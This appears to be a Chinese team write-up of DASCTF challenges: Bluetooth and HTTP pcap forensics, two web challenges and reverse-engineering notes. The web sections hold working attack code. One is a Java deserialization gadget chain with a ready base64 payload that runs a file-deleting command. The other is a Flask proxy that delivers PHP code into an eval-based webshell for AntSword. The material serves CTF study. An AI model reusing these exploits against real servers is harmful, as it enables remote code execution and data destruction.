Misc [Misc] BlueTrace | @Ron @Luminoria 打开文件发现是蓝牙流量,跑一下 strings 发现有一个 flag.png
Package 4267 传了一个 jpg 文件
Package 34714 看起来传输了一个 ZIP 包,里面有上面跑出来的 flag.png
obex 是明文协议,但是 WireShark 会自动根据 OBEX 的数据包头重新组装数据包,所以会导致在 Wireshark 里面提取出问题
用 tshark 来 dump 一下
1 $ tshark -r BlueTrace.pcapng -Y "obex.opcode == 0x02" -T fields -e obex.header.value.byte_sequence > hex.txt
把提取的 hex 流丢到赛博厨子里面,转成二进制文件
把这个图用 binwalk 来 walk 一下,提取后面的 zip 文件
打开提取后的文件夹,发现有个提示「压缩包密码是蓝牙传输的目标电脑名字」
回到数据包,发现电脑名字有乱码,可能存在非 ASCII 字符,右键复制为 b64,拿去解码
解码一下,得到 PC 的名字为 INFERNITYのPC
解压后得到下图
本来以为是不是黑白表示 0 或 1 的,用 PS 打开发现有灰度,所以不可能是那种玩法,但是发现了一个很有趣的现象,每个像素点的 RGB 值是一致的
所以考虑是不是用 RGB 值编码了什么东西,尝试提取一下,顺带计算一下每个 RGB 值出现了多少次,可能会有新发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from PIL import Imagefrom pprint import pprintimage = Image.open (r"BlueTrace\image.png" ) pixel_bytes = bytearray () rgb_dict = {} for y in range (image.size[1 ]): for x in range (image.size[0 ]): rgb_dict[str (image.getpixel((x, y))[0 ])] = rgb_dict[str (image.getpixel((x, y))[0 ])] + 1 if str (image.getpixel((x, y))[0 ]) in rgb_dict else 1 pixel_bytes.append(image.getpixel((x, y))[0 ]) pprint(rgb_dict) with open (r"Bluetrace\output.txt" , "wb" ) as f: f.write(pixel_bytes)
从字典中没看出个所以然来,但是打开 output.txt
,发现是有文本的
一开始没发现有什么问题,我还打开了 wbStego4,结果突然想到可以搜搜 flag 头 DASCTF
,结果就搜索到了
得到 flag 为 DASCTF{0ba687ee-60e0-4697-8f4c-42e9b81d2dc6}
[Misc] 一把嗦的解题思路 | @Luminoria | 未出
时间:17:54
流量分析题,Nginx + PHPStudy,网站是一个云盘下载站
文件列表有 5 个文件
uploads/a.jpg
uploads/flag.txt
secret/img1.png
secret/secret.7z
secret/th.jpg
有这几种长度的请求
1 2 3 4 5 6 7 8 9 10 11 12 import ossize = set () os.system(r'tshark -r 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\222.pcapng -Y "http && http.response.code !== 404" -T "fields" -e "frame.len" > 一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt' ) with open (r"一把嗦的解题思路\DAS6-_25e5534ffb442067545615c6cc79e2ca\tempdir\MISC附件\222\output.txt" , "r" ) as f: for line in f: size.add(int (line.strip())) print (sorted (list (size)))
Len 59 是文件列表
Len 389 是 302 重定向 http://61.139.2.134/system/index.php
Len 427 是 301 重定向 http://61.139.2.134/system
Len 454 是假 flag ZmxhZ3tmYWtl4oCU4oCUaGFoYWhhfQ== -> flag{fake——hahaha}
Len 545 可能 是一个webp文件,有RIFF头,但是损坏
UklGRpBMAgBXRUJQVlA4IIRMAgBQgBKdASoADMAGPp1On0wmJy0sJHMJsLATiWdulqXiv2z/51Kfz9dD/zM54ZdX3qMDVZ+JYaDpv9L73vfhyB3j/gOVB0p+x43/pnqEeW/lafTf+L2CvNaz7/7X0o/Qf6F0/b0j6Tv3izPynalfmH+v+x6/HI/vz/n/Y/fF9DH/71C+i//3o/+4//HmL//fsU/hf/s6anr1/v295
Len 766 是非 ViP 用户提示
Len 771 同上
Len 967 是登录页面
Len 979 也是,但是登录失败
Len 991 是注册成功提示+登录页面
Len 1049 同上
Len 1111 是报错,可以得知数据库用的 sqlite3
链接是http://61.139.2.134/system/index.php
<b>Warning</b>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'1''" in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n
<b>Fatal error</b>: Uncaught Error: Call to a member function fetchArray() on bool in C:\phpstudy_pro\WWW\system\index.php:111\n
Stack trace:\n
#0 {main}\n
thrown in <b>C:\phpstudy_pro\WWW\system\index.php</b> on line <b>111</b><br />\n
Len 1191 是文件列表,看起来是在 uploads 目录里面
Len 1197 同上
Len 1215 同上
Len 2601 是 PHPStudy 的默认页面
Len 35550 是图片(下面有)
Len 43034 是下面提到的 7z 文件
Package 959 发现一张 JPG 图片,Package 12924 发现文件(可能是7z)
应该是了,试了一下7z的魔术头就是7z
得到 dump.jpg
和 secret.vmdk
,分别来自上述两个流量 Package
挂在这个盘不出意外的要密码,可能与图片有关,我试试隐写,结果工具说这个 jpg 文件没有被修改,可能 Bitlocker 的密码是这个图片本身?印象中 Bitlocker 没有把图片作为密码的方案,用 ArsenalImageMounter 挂载,还是密码问题
PS能够正确识别这个图,可能这个图没有那种常规的隐写
我投降了 =-=
Web [Web] 再短一点点 | @Rusty 使用了InflaterInputStream,可以对应使用DeflaterOutputStream进行压缩
根据过滤的黑名单用二次反序列化进行绕过
1 2 3 4 5 6 7 8 } catch (Exception var9) { var9.printStackTrace(); StringWriter sw = new StringWriter (); PrintWriter pw = new PrintWriter (sw); var9.printStackTrace(pw); String stackTrace = sw.toString(); return stackTrace.contains("getStylesheetDOM" ) ? "命运的硬币抛向了反面,重启环境试试?" : "something went wrong :(" ; }
根据这段,猜测使用jackson不加稳定来减少字数,失败重启环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.target.HotSwappableTargetSource;import sun.misc.Unsafe;import javax.management.BadAttributeValueExpException;import javax.naming.CompositeName;import javax.servlet.ServletRequest;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.security.*;import java.util.Base64;import java.util.HashMap;import java.util.Map;import java.util.Vector;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import java.util.zip.InflaterInputStream;public class avoid_error { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace" ); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); CtClass ctClass = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"rm /a\");" ); ctClass.addConstructor(constructor); byte [] bytes = ctClass.toBytecode(); Templates templatesImpl = new TemplatesImpl (); setFieldValue(templatesImpl, "_bytecodes" , new byte [][]{bytes}); setFieldValue(templatesImpl, "_name" , "z" ); setFieldValue(templatesImpl, "_tfactory" , null ); POJONode jsonNodes = new POJONode (templatesImpl); HotSwappableTargetSource h1 = new HotSwappableTargetSource (jsonNodes); HotSwappableTargetSource h2 = new HotSwappableTargetSource (new XString (null )); HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (objectObjectHashMap,privateKey,signingEngine); POJONode jsonNodes1 = new POJONode (signedObject); HotSwappableTargetSource h12 = new HotSwappableTargetSource (jsonNodes1); HotSwappableTargetSource h22 = new HotSwappableTargetSource (new XString (null )); HashMap<Object, Object> objectObjectHashMap1 = makeMap(h12, h22); System.out.println(serial(objectObjectHashMap1).length()); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(objectObjectHashMap1); objectOutputStream.flush(); byte [] barrByteArray = barr.toByteArray(); ByteArrayOutputStream bos = new ByteArrayOutputStream (); Deflater deflater = new Deflater (9 ); DeflaterOutputStream dos = new DeflaterOutputStream (bos,deflater); dos.write(barrByteArray); dos.finish(); dos.flush(); String encodedString = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println("Base64编码后大小: " + encodedString.length() + " 字符" ); System.out.println(encodedString); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setFieldValue(s, "table" , tbl); return s; } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true ); if (field != null ) { field.set(obj, value); } } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
eNrtVD1sHEUUfnPn%2B%2BVs8GE7OIrET2M7SmYNQUTiIogTMHY4Yitn2UgntMztTW7X3p9hZtbegERBTw%2BiAwmEuCaNA0SAIkSD0qQACYiUFEhUNISCJjFvdh3ZECNCRZNd3czt7HvfvPfN923%2FVygoCcOrbJ3RWHs%2BnWPKfYmJQunHS1%2BPvXolD7lZqPoR684yR0dyHiralVy5kd9NxLPHIb02yjjkzA%2FBjkayR5WQXtg7K1nANyK5RlkkqGayxzWdi3RrgwnBOj5fSpdaUSwd7g7e%2BvmjmQ9aOSBNKGbBGupNU5vls7BnLXRWuaMbicBdDjlRQM8ypblMAp%2BuMmdNRSHtMs06XtilYdTldHHh1MJp%2FJNVCbkM2l5nfsxfgzchn0g4fDdAyyZjFxLBZjF3%2Bm5yTzDFT%2BHy39NNF%2FtT4hV3Yunpc7Tl9ULezdqsbH3hHjz23VYO8m0oOVGoeYh85Non2lBRGMh0LNMuqk2oaZczvxchihv8lbSWNieBpMXSJPdv7PujWF66nlYAUBjv35PA%2FyqBpw2AikNqOGOCOS6nCcNmqYdHLkPm00T52qFasoQu8UD4THM1j3NlZeFS2P%2FkSB6K8zBo43YokdNx0OF4SEM2JoTK53oe15M2VO3OOc0dLEFp1JTRUdF2fKbwsd7exfFJs9ZoQsEO8ez2VFMThu0o1iLWizISXGrPgI5lgUZE1s56w%2BgMYAsvlKDZ%2BMWb46O93k9HtzUIZE9pkpVvb33%2BJb5%2BEh4iQFgJCIHjyJaFbFnIlpWxZaVsWbfZslK2LBmH2gu4NdNRyIOjl7bJKEGeQPGYF3r6GQL5yallAgMnkZQaFKBYhQEok8wMWcNnMpwSVAlUUY7bzwRGJ6ead4Q1alCDwSrcB0MECjJ4xGJleAB34Al3CExM3knlbhQkzeHIfQ3q8KBBGcFNM2vMej5uWmTURMOjaLWBTEd4Y%2BE4lvBpP64TnIcOXoDKp3B%2FfXgTRlfOb0eOpRbdJzSQ18UGgcQYYECZ0bj28b2UKJh2d5QYpfZT9OWs%2BAPVicbc2Dc3Myv8l%2FzMx7%2B%2FU69cfGNzPDVlIbDx9W1PHvp3sOcTgZ8h5UVh6YcPD7zd73%2Bf4pQDWzCZfiyfaO4lF4OyI5cdFONOFKsQpoaRJDbTIFJmTR%2FOjcJbv%2FhTj61NvOc9nHzWbFw7X3vqleXcSPPI4rvrv01%2F%2FP7V1oXNi%2BM3vnqBXkZ3PdeaucftP3I7nPwJKiK0Jw%3D%3D
[Web] phpms | @Rusty @Luminoria @Ron | 未出 进去一片空白?
对扫描速度做了限制
存在/.git
泄露:/.git/logs/HEAD
githacker爬取,stashes里面有index.php
1 2 3 4 5 6 7 8 <?php $shell = $_GET ['shell' ]; if (preg_match ('/\x0a|\x0d/' ,$shell )){ echo ':(' ; }else { eval ("#$shell " ); } ?>
参考:【从国赛想到的一些php绕过注释符trick】https://osthing.github.io/2024/07/14/%E4%BB%8E%E5%9B%BD%E8%B5%9B%E6%83%B3%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9Bphp%E7%BB%95%E8%BF%87%E6%B3%A8%E9%87%8A%E7%AC%A6trick/
https://www.php.net/manual/zh/language.basic-syntax.comments.php
写一个中间件把 payload 包裹在 ?><?
和 ?>
的中间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from flask import Flask, requestimport requestsapp = Flask(__name__) TARGET_URL = "http://305c69e8-4b82-47cc-9072-e5997b2cbb66.node5.buuoj.cn:81/index.php?shell=" @app.route("/exec" , methods=["GET" , "POST" ] ) def send_payload (): payload = request.args.get("payload" ) or request.form.get("payload" ) if not payload: return "Missing payload" , 400 data = f"?><?{payload} ?>" try : response = requests.get(TARGET_URL+data) print (response.text) return response.text, response.status_code except Exception as e: return str (e), 500 if __name__ == "__main__" : app.run(port=5000 , debug=True )
蚁剑参数
1 2 3 URL: http://127.0.0.1:5000/exec 连接密码: payload 编码器选择 base64
得到
1 2 php版本7.3.33 Apache/2.4.52 (Debian)
能够拿到黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function block_if_dangerous_code ($input ) { if (preg_match ('/\b(eval|include|include_once|require|require_once)\b/i' , $input , $match )) { $matched_func = $match [1 ]; echo "<br />" ; echo "<b>Warning</b>: {$matched_func} has been disabled for security reasons in <b>/var/www/html/index.php(6) : eval()'d code</b> on line <b>1</b><br />" ; exit ; } } if (isset ($_GET ['shell' ])) { block_if_dangerous_code ($_GET ['shell' ]); } ?>
Reverse [Reverse] BabyAPP | @Jeremiah | 未出 能够得到 K3y: 2086757714
有简单混淆,只需要在BR x8处将指令patch成 B 某个偏移处即可,经过测试需要改成B SBFX指令的下一条指令的地址即可
加密流程为
白盒AES(0x3FD0)
CRC32(0x6C6F7665)
[Reverse] 鱼音乐 | @Jeremiah | 未出 看图标 Pyinstaller,GUI 用的 Qt5,使用 Pylingual 逆向 main.pyc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import sysimport osfrom PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QPushButton, QLabel, QVBoxLayout, QFileDialog, QMessageBoxfrom PyQt5.QtGui import QPixmapfrom PyQt5.QtMultimedia import QMediaPlayer, QMediaContentfrom PyQt5.QtCore import QUrlfrom xianyu_decrypt import load_and_decrypt_xianyuclass MainWindow (QMainWindow ): def __init__ (self ): super ().__init__() self.setWindowTitle('Fish Player - 鱼音乐🐟' ) self.resize(600 , 400 ) self.player = QMediaPlayer(self) self.open_button = QPushButton('打开 .xianyu 文件' ) self.open_button.clicked.connect(self.open_xianyu) self.cover_label = QLabel('专辑封面展示' ) self.cover_label.setScaledContents(True ) self.cover_label.setFixedSize(300 , 300 ) layout = QVBoxLayout() layout.addWidget(self.open_button) layout.addWidget(self.cover_label) container = QWidget() container.setLayout(layout) self.setCentralWidget(container) def open_xianyu (self ): file_path, _ = QFileDialog.getOpenFileName(self, '选择 .xianyu 文件' , '' , 'Xianyu Files (*.xianyu)' ) if not file_path: return try : info = load_and_decrypt_xianyu(file_path) meta = info['meta' ] cover_path = info['cover_path' ] audio_path = info['audio_path' ] if cover_path and os.path.exists(cover_path): pixmap = QPixmap(cover_path) self.cover_label.setPixmap(pixmap) else : self.cover_label.setText('无封面' ) url = QUrl.fromLocalFile(audio_path) self.player.setMedia(QMediaContent(url)) self.player.play() name = meta.get('name' , '未知' ) artist = meta.get('artist' , '未知歌手' ) fl4g = meta.get('fl4g' , 'where_is_the_flag?' ) FLAG = meta.get('' ) QMessageBox.information(self, '🐟音乐提示您' , f'正在播放:{name} \n歌手:{artist} \nfl4g:{fl4g} \nFLAG:{FLAG} ' ) except Exception as e: QMessageBox.critical(self, '错误' , str (e)) def main (): app = QApplication(sys.argv) w = MainWindow() w.show() sys.exit(app.exec_()) if __name__ == '__main__' : main()
xianyu_decrypt
是 pyd 文件,应该是 Cython 写的